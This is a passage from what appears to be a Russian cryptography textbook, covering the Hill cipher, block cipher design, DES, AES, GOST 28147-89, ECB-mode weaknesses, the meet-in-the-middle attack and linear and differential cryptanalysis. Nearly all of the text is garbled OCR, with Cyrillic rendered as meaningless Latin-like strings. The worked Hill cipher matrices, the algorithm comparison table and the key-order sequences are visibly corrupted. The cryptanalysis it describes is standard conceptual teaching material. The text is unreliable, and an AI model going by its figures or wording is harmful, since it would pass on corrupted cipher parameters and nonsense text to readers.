TexcTa, k — HeKkoropas oOparumas Martpmna Bajx Z (xmod) i
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V= 1....yn ) — n-rpamma mmdporexcra, T0 y=E;(x)=k-x. CootBer-
creenno x=Dy(y)=k"-y, rne k! — matpuua, o6pathas k Marpuue A4
k. .

TlomepKHEM, YTO MATPHUHEIC ONEPALMH 346Ch IPOM3BOLATCH
HaZ KOBUOM Zy, TO €CTh 3HAYCHHME MATPHIH! CCTh OCTATOK PE3yilh-
TaTa MIEPEMHOMKCHHS TIOACICH LN HA MOIIHOCT AN(aBHTA.

PaccmoTpaM mpHMep.

Honoxam n = 4 u samudpyem dpasy: ez mpyoa He vineutv
poibxy us npyoa 3amucandyio B 30-OykBeHHOM pycckoM andasure.
YcnoBuMCA O YHCIOBOM KOXHPOBAaHMH OYKB B COOTBETCTBMH C Tal-
LI

A|IB|IBITIAIE|IXI3|HA|{K|JI|M|HJjO|II
11181111610 ]150120] 5121]23]13]41]16] 8125

PIC|ITIY|(o| X OjU|I|{Of|b|bI|{D|I0| A
24|100119]26)12] 2 {28} 7 [17]22| 3 |29|27]14] 9

B xauecrBe xmo4ua BHIOCpEM MaTpHLly

1 2 3 4
1 2 3
k= 5
1 3335
13 45

3anmineM OTKPHITHIH TEKCT 1O Cronbnam MaTpuum: 1

18 24 16 16 24 26 24
115 26 15 1529 2126
|5 0 11 1718 5 0

19 1 29 3 23 251
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Beraucmam nipoussesenre u monyuum mmdporexcr B BHZE
Marpubi D=k - T :

19 20 15 19 18 3 20
D= 8 21 14 2211 28 21
23 17 29 7 10 1917

28 17 10 24 28 2417

Teneps ocranock BOCHOMB30BATECS YHCIOBEIM KOAOM, ITOOHI
BBIIHCATE MHPPOTEKCT B GYKBEHHOM BHJC:
TOKHKHIIIEIOHCTIUPOBCLBI TP KAIIIT

3ameaanme. U3 coobpaseruii yio6cTBa B NPHMEHERHE [Oy-
YWIE LIAPOKOE PacHpOCTPaHEHHE IMHGPH, NN KOTOPHIX NpaBHIA
mudposanus i paciunppoarms uacHTHaHA. Takue mudps: Hazbi-
satorcs obpatumbimu. [llngp Xumna seisiercs o6paTHMbIM B TOM H
TOJNBKO TOM CiIyuae, koraa k' = k, unm unage: & = E, roe E — exu-
HHYHAjA MaTPHIA.

EcrecraernniM o6o6mennem mudpa Xumna seusercs addun-

HEH Gnounsit mmbp, npasano mudposanms f(x)=x-A+b. Ilpu

atoM A sBrsercs 06paTHMOi MaTpuueit nxn, a b — (PHKCHPOBAHHBIM
n-MEPHBIM BEKTOPOM.

Hexoropsie 3amMeuanma no kpunroasanuy 610usrx mudpos
H, B 9acTHoOCTH, mu®pa Xanna.

YBenmdenue 3HaYHOCTH MMQPOBETMUMH PEIKO YCHOKHIET
TIONIBEITKH BCKPBITHA OTKPHITOTO TEKCTA 110 H3BECTHOMY TEKCTY KPHII-
TorpamMMel. OAHAKO CBOHCTBO JMHEHOCTH, NPHCYIICE PACCMATDH-
BacMBIM Mpam, KOBEYHO, ABIAETCA MX KPHITOrpadHccKoi cia-
Gocrbio. Tax, ecmm u3secTeH HeKOTOpHIHt Habop 610KOB HIM(POTEK-
CTa H COOTBETCTBYIOUIMX WM GIOKOB OTKPHITOTO TEKCTA, TO OHEpALs
O BCKPHITHIO adydurmoro mudpa cBoguTes K Beumranmio, oOpame-
HHIO M ICPEMHOXXEHHIO MATPHIL.
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TIpHHLEHIIBI TOCTPOCHUS COBPEMEHHbIX 0j10unbIx mdpos
Kax mpaBuno, angaBuroM, Ha KOTOPOM JciHcTByeT OnowmbIi
wHdp, SBIISTCS MHOXKCCTBO JABOHUHBIX ONOKOB OTKPHITOTO TEKCTa
oauHaKoBOM AnmuHE (64, 128 u 1. a. 6ur). Cama peanusanys npeod-
pasoBaHuii CTONb GONbIIHX aNaBHTOB SBICTCA CIIOMKHOH 3ajadvei,
i HCTIONB30BaHME NpeoOpasoBanmii ¢ Hensio MubpoBaHHA Tpedyer
0T HEX COIE PAAA CTICLMANBHEIX KAYCCTB.

K. Illennon chopmynupoBan oOmuii DpHHIMI NOCTPOECHUA
mnppyomux NpeodpasoBaHMil —— MPHHIMI «IICPEMELTUBAHAN».
('yts ero coctouT B TpeOOBaHMH, ITOOR MPHMCHEHHE MHPYIOMEro
npcobpasoBanusg k Habopam apryMeHTOB, OTIHYAICLIMXCH B HE3HA-
MMTEIBHOM THCIIC NOIMLHMIA, NPHBOAMIO K CYIIECTBEHHOMY H3MCHE-
mio pesynprara. O0ecredsTs BHIIONHEHUE ITOr0 TPeOOBaHKA B CO-
"CraHUM C MPOCTOTOM PEANH3alMy KOHKPETHOrO OTOOpaKCHUS B
odweM ciaydae TPeaCcTaBNaeIcs 3arpyaHuTensHbiM.  [lostomy
K. IeHHOH mpeIoKMI PeaIM30BBIBAaTh CIOXKHBEE NpeoOpasoBaHus
" BUAC CYNEPIO3HIINY HECKOJIBKHX MPOCThIX orobpaxkenmid. Hoxxox
K. [IeHnoHa, HCHIOMb3YIOMHI HTCPATHBHOE IMOCTPOCHHE Ipeobpa3o-
miHuif, B HACTOAIICC BpeMs ABIACTCA OCHOBHERIM ITyTEM CHHTC33
(movHBIX U(POB.

broussie mMpps peanu3yloTCs IyTEM MHOrOKPaTHOrO NpH-
MCHEHHSA K 0JIOKAM OTKPBHITOTO TEKCTA HEKOTOPHIX 5a30BbIX mpeobpa-
wnanuif. bazossie npeoOpazoBanua HOJDKHBI YOBICTBOPATL PAAY
iwhboBanmif, O5YCACBACHHBX TCM, YTO OHM, BO-TICPBBIX, AOSUKHbI
(mITh TIPOCTO PEATM3YEMBIM, B TOM 9YHCIE IIPOrPAMMHBIM CIIOCOOOM
nt IBM, 1, BO-BTOpRX, npy HEOOMBIIOM YHCIE LUKIOB A3BaTh aHA-
IWTHHECKH CIIOXKHBIE HPeoOpasoBaHus.

OO0rrHO Benonb3yioTes 6a30BLIe NPeoOPA30BAHKS ABYX THIIOB

CIOXHBIE B KPHOTOrpapHu4eCkOM OTHOIICHHH JNOKANbHBIE peod-
NIOBAHHS HAJ OTACTBHBIMA JacTAMH umMppyeMsix OGIOKOB M mpo-
¢ 1ue TIpeoOpa3oBaHHs, NEPCCTABAMIOMHUE MEXAY coboit HacTy k-
pvembix 6rokor. B xpunrorpadiirdeckoit muTeparype nepahie npeod-
|WIOBAHHS TIOMYYMIH HASBAHUE «NEPeMeusaiouiux», a BTOPHE —
«pucceusaioujuxy». KauecTBEHHO MOXHO CKa3aTh, ITO HEpeMeEIIHBa-
MG YCOMHACT BOCCTAHOBIICHHUE B3AMMOCBA3M CTATHCTUYCCKHX H
MULIHTHMECKUX CBOMCTB OTKPHITOrO M INM(POBAHHOIO TEKCTOB, a
ACCCHBAHHE PACHPOCTPAHSCT BIMAHHE ONHOIO 3HAKA OTKPHITOrO
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KCTAa HA OONBINOE YMCHO 3HAKOB MM(DPOTEKCTa, 4TO IO3BONAECT
TIAJHTh BJIMAHME CTATUCTHYCCKHMX CBOHCTB OTKPEITOTO TEKCTa HA
soficrea mubpoTeKcTa.

AnroputM mu(pOBaHMA BHIOIHACT HECKOTOPOS YHC/IO LIMK-
38, Kaxaptil ux1 COCTOUT B IPUMEHEHHUH NTPEOOpa30BaHHi NEPBO-
) ¥ BTOPOrO THHOB. TaKkoH NPHHIMMII IOCTPOCHHH AACT BOIMOX-
OCTh PEATM30BaTh KKAKH WK1 MupPoBaHMS C MCTIOIb30BAHHCM
THOTHOHBIX Y371OB, 2 TAIOKEe BHINOIHATE PACIE(POBAHHE MyTEM
5paboTku JaHHBIX B OOPaTHOM HANpPABICHHH.

V 106HO0M Moaensio min peanusaigyn Gazosnix npeobpasosa-
Uil CHyXAT PEruCTPH CABUTa. [Ipd 3TOM paccenBalowmue npeobpa-
JBaHMA onpeaesioTes GyHxupsMu oOpaTHOH CBA3H, a NEpEeMEIH-
aromupe — CABHraMy uHGopMauK B perucTpe.

Hpumeps: 6nounbx mubhpos.

Amepuxanckuii crannapr mudposanus nanabix DES.

Crangapr mudposanns gauaeix DES (Data Encryption Stan-
ard) omyGrmaxopan Hampomamsabim Giopo cranpapros CIIA s
977 r. B 1980 r. »ror anroput™ Gein npuaiaT HanmoHanbHbIM HH-
TaryroM crangapros u TexHonorudi CIIIA (HMCT) B xagecree
Tangapra mupPOBAHAS JAHHBIX UM 3AIUTH OT HECAHKIHMOHAPO-
/AHHOTO JOCTYNA K BaXKHOM, HO HECEKPETHOH HH(OpMALMU B roCy-
[@PCTBEHHBIX ¥ KoOMMepueckux opranmsanmax CIITA.

K pocromnctsam DES MOXHO OTHECTH HPOCTOTY KIIOYEBOH
'HCTEMHI, BHICOKYIO CKOPOCTD AnnapaTHOH M NPOrpaMMHON peanuaa-
MH, HOCTATOYHO BBICOKYIO KPHITOrpad)yecKylo CTOHKOCTR aniro-
yurMma mudpoBaHKs MpH 3aJAHHON JTHHE KUT0YA.

Anroputm DES, nc- [ Voo o]
107163y KOMOHHAIMIO psaa [
10[CTAHOBOK M IIEPECTAHO-
30K, OCYIIECTBIsiCT ImHp-
yoBaHH¢ 64-OMTOBHIX On0- Gpas[ ]  \Wupposarve
OB JAHHBIX C TOMOIbBIO

IHauaanaﬂ nepecTaHonxal

I Kniou

56-OHTOBOTO Kmoua k. rKOHequaﬂ nepecTaHoakaI
Cxema amroputMa DES

1300pakeHa Ha  PHCYH- ILiuchpoTexct

e 16. Puc. 16. Cxema anropurma DES.
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Iponecc mudposanus cOCTONT B HAYANBHON MEPECTAHOBKE
6uros BXomHOro 6IOKa, INECTHAAUATH UMKIAX MMGPOBAHMA W, Ha-
KOHEL, KOHETHOMH NEPEeCTaHOBKE OHTOB.

Js anropurma DES paspaGoraukamu Gsin mpeyioxkeH cras-
japrasi HaGop TaGmui, KOTOPHIE NOIDKHBL MCIIONB3OBATHCS MPH
peamusaupy anroparma DES B Hemsmennom Buae. Bee uncna s Tab-
fMnax roao6pase: Takum 06pas’oM, Tro0E MAKCHMAJIBHO 3ATDY AHUTE
POLIECC BCKPHITHA MH(ppa ImyTeM noadopa xiroya. '

Kpunroanamus DES npuBomnT K JOBONBHO CIOXHBIM CHCTE-
mam ypasaeuuit. Jleno B ToM, uTo kaxapiil 6uT Gioka mmdporexcra
usnseTcst pysxipeit or Bcex OHTOB 6I0Ka OTKPEITOr0 TEKCTA M KO-
a. WisBectheie amamaruaeckue Metodbl Boxpuites DES wme gator
*YWCCTBEHHOTO BHMIPHINA HO CDABHEHMIO C IONHBIM nepeGopom
neero MuOXKECTBa B3 2°° xmouelt. K Hemocratkam airopurma DES
vraocHres Hebonbmoe (0 COBPEMEHHBIM MEPKaM) YHCIO KIoueH,
110 AT BO3MOXKHOCTb MX HOJHOro nepebopa Ha GeICTpOACHCTBYIO-
MCcH BEMIMCIATEIBHON TEXHUKE 32 PEANIBHOC BPEM1.

B xauecrse MeToaa Gopsbui ¢ 3THM HEAOCTATKOM, ObLIa Mpea-
NNKEHA HACH MHOTOKPaTHOro wmu(poBaHMs, T.€. HCHOML30BAHMA
(MIOYHOro aNrOPHTMA HECKONBKO Pa3 € PasHbIMH KINOYaMu A
tii(ppOBAHMA OFHOTO U TOTO XKe OIOKA OTKPHITOrO TEKCTA.

Paccmorpam aBykpaTtHoe mm@poBanue 610Ka OTKPHITOrO TEK-
(1l ¢ TIOMOIUIBIO ABYX pasHbIX Kmoue. B 3tom cnyuae cmauana
mudpyior 6rok M witiosom k;, & 3aTeM TONYIHBIIHMCA IGAQPPOTCKCT
V(M) mmbpyror xmosom k. B pesymsrare aBykpaTHOro mmugpo-
mug rrotygaror kpanrorpammy C = E(E; (M)).

Ecma mMuOXECTBO NpeoOpa3oBanmii, peanusyeMbiX GIoqppiM
tnuppoM, SIBIISIETCA TPYIMION (OTHOCHTEIEHO OHEPAlHH KOMIIO3MIHH
npeobpasosanmii), TO Bcerga maiixercst takod xmod k, aro C = Fy
(M). B Taxom cryuae asykpaTHoe mudpoBaHue HE JACT NpeHMyIe-
111 IO CPaBHEHMIO ¢ OJHOKPATHHIM mm(pposarxeM. B nporussoM
t1y4ae moCHe ABYKPATHOTO mMH(pPOBaHMS HYXHO OyZeT onpexenars
olx1 MCTIONB3OBAHHBIX KN04a. CeA0BATENbHO, TPYAOEMKOCTS Hepe-
fopa KIoYEH MO CPABHEHMIO C OXHOKPATHBIM M(POBAHKMEM BO3BO-

e B KBaapar.
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Joxa3aHo, YTO MHOMKECTBO Mpeolpa3oBavuii, peamu3yeMBIX
nosHo# cxemoli DES, ne obpasyer rpymny. MHOxecTBO nipeobpaso-
sammii DES noposxzaer rpymny noacrasosok {crenenu 2%), mom-
HOCTb KOTOPOH DPEBHIIMACT YHUCIHO 10, Tosromy MEBOTOKpaTHOE
mubposanme ¢ nomowpio DES umeer cmpicn.

Bosmoxwsl BapsasTsl B TpolHOrO mudpoBaHuS C HCHONB3O-
parueM anropurma DES. B ogsoM 13 Hux npeiaraercs madposars
Onox M OTKpHITOro TEKCTa TPH Pasa ¢ MOMOINBIO ABYX Kmouci k; u
k;. YpasHeame mmpposanus B 3TOM cinyyae mmeer Bux C =
Eu(Diu(Ea(M))). Beeacaue B Takyio cxemy onepauus pacmmdpo-
BammA Dy, obecrieunBacT COBMECTHMOCTE CXEMBI CO CXEMO#H OZHO-
KparHoro ucnomn3osanus DES. J{na 3roro HocrarodHO BHIOpaTh
OJMHAKOBBIC KITIOMH.

Jpyroit BapuaHT NPEAYCMATPUBACT HCIIONB3OBAHUE TPEX Paz-
IMYHKIX KMoucH. Y pasHenne mudpoBaHus B 3TOM Ciydac IPHHHMA-
er Bug C = Eg(Di(Ex(M))). Ipu 310M BO3pacraeT o0mas NIMHA
PE3yABLTUPYIOLIETO KII0Ia M COOTBETCTBCHHO BO3PACTAET CTOMKOCTH
mudpa. Creayer MOMHATH, 9TO TAKOS BO3PACTAHKC HE MOXET OHITH
Oe3rpaHYHBIM, OHO IPOUCXOJHT AO TEX JIOP, MOKa CYMMAPHOS IHC-
70 KmodeH He npes3oiizer obmee wmcno mpeobpasoBanmii, peann-
3yeMBIX CXEMOH, TO ecTh 00Imee YMCIIO MPOCTHIX 3aMEH, «H3 KOTOPHIX
COCTOUT» AAHHBIH mud)p 3aMCHBHI.

Odmmanero DES smsincs cranaaproM mudposanms JanHbIX
1o 31 mexabpa 1998 r. B 1997 r. Gbin 06b4BICH KOHKYPC HA HOBBIH
cranaapr, koropuiii Ouin HazsaH AES (Advanced Encryption Stan-
dard). 2 oxrabps 2000 r. HauwonanmeHuIi MHCTHTYT CTaHIAPTOB H
texuonoruit (HACT) CHIA obpasun nobeaurens «koHKypca AES».
Wim cran anropurM RIINDAEL, paspaGoranssiii Jsyms KpRITTorpa-
¢damu u3 bensrun: Hxonom qumenom (Joan Daemen) n Buncentom
Pumpxmenom (Vincent Rijmen).

AMepukanckuii cranaapt mmudposanus aaHHex AES.

B xauecrse crangapr mubposanus pausnx AES (Advanced
Encryption Standard) 2 oxr#6ps 2000 r. Obi1 mpuHAT aNTOpHTM
RIJINDAEL, paspa6orananit Oessrutickumu kpurrrorpadamu: Jhxo-
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HoM Irmerom (Joan D.
Rijmen). ( acmen) n Burcenrom Prmivenom (Vincent

128 zgilrrTosH:Hn; :{UNDAEL TIPEACTaBseT 610K NaHmkX pasmepom
et omopmnn ABYMEPHOro GafiToBOro Maccuma pasmepom 4x4.
| TIPOH3BONSATCH HAZ OTACHBHBEIMY Gaiiramu maccu
1RIOKC HAXl HE3ABUCHMEBIMH CTONOIAME & CTPOKamMu e
i&n};‘gpnm HCNOMB3YET CIEAYFOIME THITHI npéoﬁpasosM‘

o Il . (ByteSuP) — TabMIYHAA 3aMeHa Kakoro Gaiira maccu-
- 110 SHA"CHIO BaifT a;; w3 Tabmusr 3amen BrOUpacrcs Gaiir b, ;

ije

2.SR (ShiftRow) — cxepr CTpox Maccusa. Ilepeas CTpoKa

Pa Maccusa. Hanprmep, ana maccus
‘ , a pasmepom 4x4 crpo
(/ABMT3I0TCA COOTBETCTBEHHO 1a 1, 2 i 3 Gaiira. o2 I

3. MC (MixColumn) — ONEPAIHA HAX HE3ABUCHMBIMH CTONG-

Th 7

\aMe maccuga. Kaxcanii cronGer mo OIpCAENCHHOMY npas

HONACTCA HA (HMKCHPOBaHHYIO MaTpuiy c(x). e

o 4. AK (AddRoundKey) — AobaBrenne Kmoya: KaXABIH Gpr
ACCHBA. CKNANLIBACTCH MO MoAymIO 2 ¢ COOTBETCTBYIOMHM OHTOM

[1]] H(prBaHH}I .

B xaxmom PayHIe BBIDOJIHA

€TCS MOoYepeRHoe
. e HOPUMEHEHHE
HBIX npecOpasoBanmii K mubpyemem nanunv o HEKOTOPRIMH

e . .

\WIGTIORCHHIAMH! BO-TISPBLIX, Nepexn TCPBLIM payHAOM BHINONHgeTCH

‘l‘ )ll (LI v ] AR, BIANS & N dA

o ommnbno onepanus AK, a B nociezaem PayHae He BrNONHI-
f - B pesymbrare HOCNECAOBATC I

I"IMAHHM BBICTSAAMT TaK: oS oncpat np imug-
AK, {BS, SR, MC, AK} (noBTOpserca R-1 pa3), BS, SR, AK
Konmuectso  muxnos mudposarnus (R) p anropurme

RIUNDAEL spasercs nepemennsm (10, 12 um 14 IMKIIOB) ¥ 3aBHU-

0T OT JUIMHBI KITIOYQ, Iny
1 256 dposarus (k0w morer HMCTS JumHy 128,
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Pacuud)pOBAHKC BHITIONHACTCA TPAMCHCHHEM CACAYOmEX
OOpaTHBIX OMepPaLIii:

1. Tabmunas 3amcsa BS OCYIIECTBASCTCS NPUMCHCHHEM
APYTO# TaOMMLIBL, SBISIOMICHCSH MHBEPCHON OTHOCHTEIBHO TaOmaItEL,
npEMenseMoil Ipy muGPOBAHIH. 5

2. OGparsoit onepauueil K SR aBnAcTCH LUKIAYECKHI CABMT
CTpOK BIIPABO, 3 HE BICBO.

3. O6parHas onepais K MC — YMHOXKCGHHE IO TEM K& Npa-
pimaM Ha apyrylo marpuuy d(x), YAOBIETBOPAIOUIYIO YCHOBHIO:
c(x)dx)=1

4. Hobasnenue wmoua AK sABseTcs oGpaTHEIM camMoMy cebe,
IOCKONBKY B HEM HCHOJIb3YyETCA ONCpatiii XOP.

Hanmeie 00paTHEE OnEpaIMy And pacmudposarus uHbOPMA-
¥ [PHMEHSIOTCS B OOpaTHOM NOPAAKE OTHOCHTENLHO BHIICTIPH-
BEXCHHOM MOCICAOBATENHHOCTH onepaunii mupoBaHHL uriopma-
12028

Cranpapr mmadpoBaHus JAHHBIX TOCT 28147-89.

B Poccuy YCTRHOBCH €JMHBIH aiTOpHTM KpHunTorpaduyecko-
ro mpeobpa3oBaHmA JAHHEIX N CHCTEM obpaborku HubopMaIMH B
cersix DBM, OTAEIBHBIX BHIYMCIHMTCIBHEX KOMITICKCAX M 9BM. On
onpeaemsercs I'OCTom 28147-89. DroT AnropuT™M HpEAHASHAUCH
JUIS anmapaTHoO# H DporpaMMHON peam3atiH, YAOBACTBOPACT CO-
BPEMCHHBIM KPHITTOTPaprIcCKUM TpeboBaHuAM H He HAKIANBIBACT
OrpaHMHEHHH HA CTENCHb CEKPCTHOCTH samquiaeMoi MHpopMaLH.
AnropuT™ peanmsyer mmpopanue 64-6GuTHbIX OIOKOB AAHHBIX C
[IOMOIIBIO 256-OUTOBOrO KJII04A.

Jror craHAapT, TIpEHATHIH B 1989 roay, yCNCLIHO MCTIONb3Y-
©TCs 7O CHX TIOp U 00ECIednBacT BHICOKYIO CTCHCHD 3aIULICHHOCTH
uH(popMaLHH.

CrpyxTypHas CXeMa ajropuIMa mudpoBaHa  CTaHAAPTA
TOCT 28147-89 npeacrasnena Ha pucynke 17.
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O6o3nazenns: T Tw

N. N,
N, N — 32- L I
Pa3PAIHBIC HAKOMUTEIIN; — —— )
3
CM%2— CYMMATOp IO AT = ow,
moxymo 2°° (onepamus +); x-(K«)) . 2~ -
X, (K,
CM, — cymmarop no ) M s[5 ] s]sJs] jJ s
mozysuo 2 (onepauus D ); X,(K,) 3
v K,
R — 32-paspaanerit ;Z:K)) "
]CCHCTD HHKTUYSCKOTO X,0K,)
c/BHTa; E =
K3V — xmouesoe E; o
'WITOMMHAIOLIEE YCTPOHCTBO = _

obremMoM 256 Our, cocros- ' N

umee H3 BOCHMH 32- Puc. 17. CTpykrypHas cxcMa alTOpHTMa
[MA3PSZHBIX HAKOTUTCIICH; ndposarmsa [OCT 28147-89.

S — BIOK HOACTAHOBKH, COCTOAIINIA M3 BOCHMI Y3JI0B 3aMCHBbI
(S-6n0KOB 3aMeHBl) S1,5,,...,5s.

OTkpriTHIC JZaHHbIC, NONICKAIuE mH(ppPOoBaHKIO, pasbHBAOT
na 64-paspsausic Onoku. B kmouesoe 3anOMHHAIOINEE YCTPOKHCTBO
msoguTc 256 Our xmoda k, 3anNMCAHHOTG B BHAE BOCBMH
12-paspaannix NOAKIIOICH kit k = kikekskkskakiko.

Kaxcasiit 650K MOACTAHOBKA MOMKHO PEACTABUTH B BRAC TA0-
nuuBI-riepecTaHoBky 16 uucesn. S-6oku npeacraBiAOT coboit Kiro-
ICBBIE BJIEMEHTBI, KOTOPBIC SABIDHOTCH OOMMHE [UI1 KOKAOH CETH
cuu3d. OHHE JOSDKHE! XPRHHTHCS B CEKPETE.

Tpoueaypa mudpposanus 64-paspsauoro 6noka Ty BKIOYaeT
V) MKTA.

TMocnenosarensHoCTs OuToB Gnoka T, pazbueacrces Ha xBE 1O~
noBHbI 110 32 Guta (B3gThie B 00PaTHOM HOPAJKE) B BEOAATCA B Ha-
wonrrens Ny 1 N, nepe HaualloM NepBoro uKIia mubpoBaHHsL.

B kaxaoM uukie MpOM3BOAUTCS CIOXKCHHE TEKYINEro 3HAYC-
s maxommTens N; ¢ omumM u3 kmouel k;, mepectaHoBka B
Y Grnokax, uKmyeckHi capur Ha 11 Our B CTOpPOHY crapmaux pas-
[I0B U COXKCHHE 110 MOZYMIO 2 ¢ Hakormrenaem Nj. 3atem peayinb-
1T mpeoGpa3oBaHus 3AMHCHBACTCA B HAKOMHUTENb N, B HAKOIHTENb
N, IEPEHOCHTCA MpPEeAbIAYIee 3HaYeHne nakomurens Ny.
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Topsaoxk MOACTAHOBKM KIMOUCH npu mudporarmu onpesens-
€TCd CHeAYIOmEH NOCIeNOBATENEHOCTIO!

kokykokskkskskrkokikokskakskekzkok ikokskakskekkskekskekskoky

ko.
Duxn pacmudpomanus ormMaercs or upkia WHQPOBaHMS
0OpaTHBHIM NOPAAKOM KITI0YEBOH NOCICAOBATCIBHOCTH.

OcHoBHbIE Xa3PAKTEPHCTHKH AJITOPHTMOB

DES, AES u TOCT 28147-89.
rocCTt
Tapauerp DES AES | 9814789

Pasmep 6noxa mmudposanns, Our o4 128 64
Jmna ximoua, 6ur 56 1128, 196,256{ 256
Uucno muxnos 16 10,12, 14 kY]
Pa3smep Gioxa, mudpyeMoro 32 onus

a1, 6ur 32 128 32
JInHHA KITEOYa MCTIOIh3YEMOTO B IHK-

ne mmpopaums (luroya paysaa), 6ur] 48 128 32

MeToaAbI KPANITOAHAIN3A ANTOPHTMOB (JIOYHOre IKHQPOBAHHS.

bazoserM mpu HCHONB30BAaHHHM OnOYHEIX HM(POB ABIACTCS
PEXHM MPOCTO 3amMeHbl. B CBA3H © 3THM paccMOTpuM pad BOMpPO-
€OB, CBA3AHHBIX C IKCINyaTauueH OnogHBIX MU(POB B 3TOM PEXUMES
Y BITHSAIOIIHX HA HX KpAITorpahuveckyso CrodKoCTs.

Kax ormcuanoce BHIINE, CEPHE3HBIM HCAOCTATKOM DPEXHMa
TPOCTO# 3aMEHHI ABAACTCA TO, 4TC MmudpoBaHUE OAHHAKOBHX Ono-
KOB MCXONHOTO TEKCTa A3eT HAcHTHYHBbC Onoxu mmdporexcra. B
pE3yAbTaTe KPHITOAHANMTHK JIMINbL HA OCHOBE WM{POBAHHEIX JaH-
HBIX MOXXET J€IaTh BEIBOABI O CBOMCTBAX HCXOAHOTO TekcTa. [Ipume-
POM TaKMX BHIBOAOB MOXET CIYXHTH onpeacneHue Gaxra pacchuxy
TIHMCEM C OJHHAKOBBIM COACPIKAHHEM HECKONbKMM azpecataM. Ecmm
HEKOTOPhie GNOKH OTKPHITOTO TEKCTa MOBTOPHINCH, TO BO BCEX 3a-
mAQPOBAHHBIX COOOMICHIMX, HE3ABHCUMO OT MCHOMB3yeMBIX KO-
9CH, H2 OJMHAKOBBIX MECTax OyJAyT BCTPEYATHCS MOBTOPAIOHIHCCS

6noxu mu@POBaHHBIX TEKCTOB.
Jpyro#t npumep — nepenaga KmodeH B 3amgpoBaHHOM BH-

€ 1o MuHUAM cBs3H. [loBropeHne OnokoB B OZHOM IM(POBAHHOM
TEKCTE TOKA3BIBACT, YTO YacTh OUTOB B MEpEJaBacMOM KIIHOME MO-
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YHICTa NOBTOPEHMIH,
K 6nounnim ugpam, HCIIONb3yeMbIM B pexume IPOCTO# 33-

T
“.(::,2020 q:o o;r:;;());x;;)m TEKCTE MOTYT NOSBAATHLCH He Beg COYECTAHMA
o— cgme:‘:;:- —(beI:IthIeCKOM COKpaineHnu uncna uc-
€00 Oxﬂakona MEKRy Onokamin OTKPBITOTG W wHdpo-
on s € Ta cnabocrs nerxo YCTpauuMa, ecim nie-
pon Hﬁcl)opmamanMeﬂm K oTxphiToMy Texcry npoueaypy
N » HAPHMED, MCNONb30BaTh CTaHNAPTHBIC aNro-
PXHBALMHE AAHHBIX,

MmmeC;I:ﬁﬂyxomnM MOMEHTOM, Ha KOTOpELif cnexyer obparuts BHE-

s eres mpobnema mocnexnero HETONHOTO ONoKa ZaHHHIX

1pe
pi mupposanuu Texcrog, AZHMHBL KOTODEIX HE KpaTHbI pasmepy



atu-

OTHENBHO OCTAHOBUMCS HZ METOAAX aHanm3a Kpﬂn:ﬁo;fo?{ -
YECKHX AJIrOpUTMOB, OCHOBAHHLIX HA rrpmxmm;'i m;?r;:nxizﬂ o
NOMb30BaHMs BOTHBIX madpos. P. Mepiib M M. el}l e e
mepe DES noxasami, Kax, MCTIONB3Ys METOA BCTPEd vmm
MOYKHO BCKPHITh CXEMY ABYKDATHOIO mudpoBaHms. o

PaccMOTPHEM METOJ BCKpHITHA Grounoro umdpa op
sonasua smoioro umpposarmr B O Y proro Tekcra

TIpemonoXuM, 9T0 M3BECTHHI «
comerzmymmm‘fl emy Gnox C mrip)pOBAHHOTO TEKCTA. :;A'I;Im;;mm
BCKPHITHA HEH3BECTHRIX xmodei Ky, 11 Ky COCTOHT M3 ABYX © .

Ha nepeoM 3Tanc nepeOupaorTca BCC BO3MOJKHBIE B2D aumqe-
wmoua ky. Jis Kaxmoro papuaHTa k wmoua k) BHYHUCAAIOTCH 31;ana-
HUSA ADIli.(k) = Eu(M), nocne 1ero JHAYCHHA K TIOMEImAoTCA
msTh 1o aapecy ADR(K). -

’ H:ipmp};M yramne onpobyIOTCs BOIMOXKHBIC BAPHAHTHI amqexom
k,. Jims onpoGyeMoro papuanTa K' wmoua k; Bbmcnmdrc“ﬂ ns: ey
Iil.)R(k') = Dy(C) ¥ HpON3BOAMTCHA obpameHue B m().;\:cx e %y
ADR(k). Eciu no 3roMy afpecy TaMATH 3anucH ﬂmy:m kym' m;oqa
IPOUCXOMMT MEPEXOR K IpOBEpKE CIACAYIOMCIO Bacl; .
k,. Ecyu e 1o anpecy ADR(k) B naMATA XpasHAT mmoroﬂmmaﬂ .
pasyercs AOIyCTHMAs mapa KIro4eH (kk"), yROBICTBOP

=B (E . '
Beﬂﬂﬁg’aﬁeﬁﬁ ﬁ)l queiiKy TamsATH ¢ HOMCPOM ADR(K") moryt
; AMTOB KO HANbHO Opra-

{IOTIACTh HECKONEKO BapHAHTOB qa k (HyxHA cnlzn Ml;(;cﬁpm_
HH30BAHHAA TIAMATH). Jins KaKHOro U3 HHUX napa (k.K') a8

CTUMBIM KIIHOYIOM. .
» s peanu3auuy JasHoro anropuTMa Tpebyercs 2 &mg:ezzi
£ CTONBKO K€ OrepaLil ofGpaImeHus K IaMSTH, TA K — obmy

Kmogeh mudpa. ) ﬂ
no Taxum c%gazom smecto K* oneparif, TpedyeMBIX rrllpn r;g:;
roM mepebope Krroueil, Ui METORA BCTPEHA nocepem:lnceﬁp:;?em
erca nopsazka 4K onepanmii (omepanmu onpobosanms pasie

AMSTA [ IPOCTOTHI CANTAIOT npUGNM3HTENLHO PABHOC
‘:1: CIIOXHOCTH). 3amMeTHM, “TO taxoit pesxuit IdderT CHI/DK;HP(l:
TPYAOEMKOCTH JOCTHragrcs 3a C9eT HCnOsb30BaHAs GONMBINO
CreIEAIBHEM 00pazoM opraHnsoBamion) TIAMATH.
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Tomumo nepebopa xmoueil u memooa ecmpeyu nocepeoune,
pH HCCHEAOBaHMAX GIOYHBIX MEGPOB yCMEnIHO NPUMEHIIOTCA Me-
TOABL JUHETH020 ¥ OUGpeperyuanbHO20 anaIH3a.

Unes Meroma aunelino20 anaau3a COCTOMT B ITMHCAPH3ALMM
ypaBHCHMIT mud)pOBaHUA, TO €CTh 3aMEHE CIOXHBIX Tpeobpasosa-
HU#, OMMCHIBAIOIHUX aNTOpuT™ mudpoBanus, MX NPHOMDKCHUAMH B
Kiacce nuneitabix Qyukumit. [Tox mpuOmwkenueM B KJIacce JTHHEH-
HuX (ysxumil (WM JUHCHHBIM aHANOrOM) NOHHUMACTCA THHEHHAA
GyHKIUMA, 3HAYCHKA KOTOPOH [ JOCTATOYHO OONBHIOrO 4MClIa Ha-
6OpoB apPryMCHTOB COBHAJAIOT CO 3HAYCHMAMH JanHoM (QyHKIwMM
wudposarnsa. YeM BHINEC BEPOATHOCTH COBIARCHHS 3HAYCHMI JM-
HEHHOro aHanora co 3uagcHwiMu yuxumy nmdpoBaHus mpH Cly-
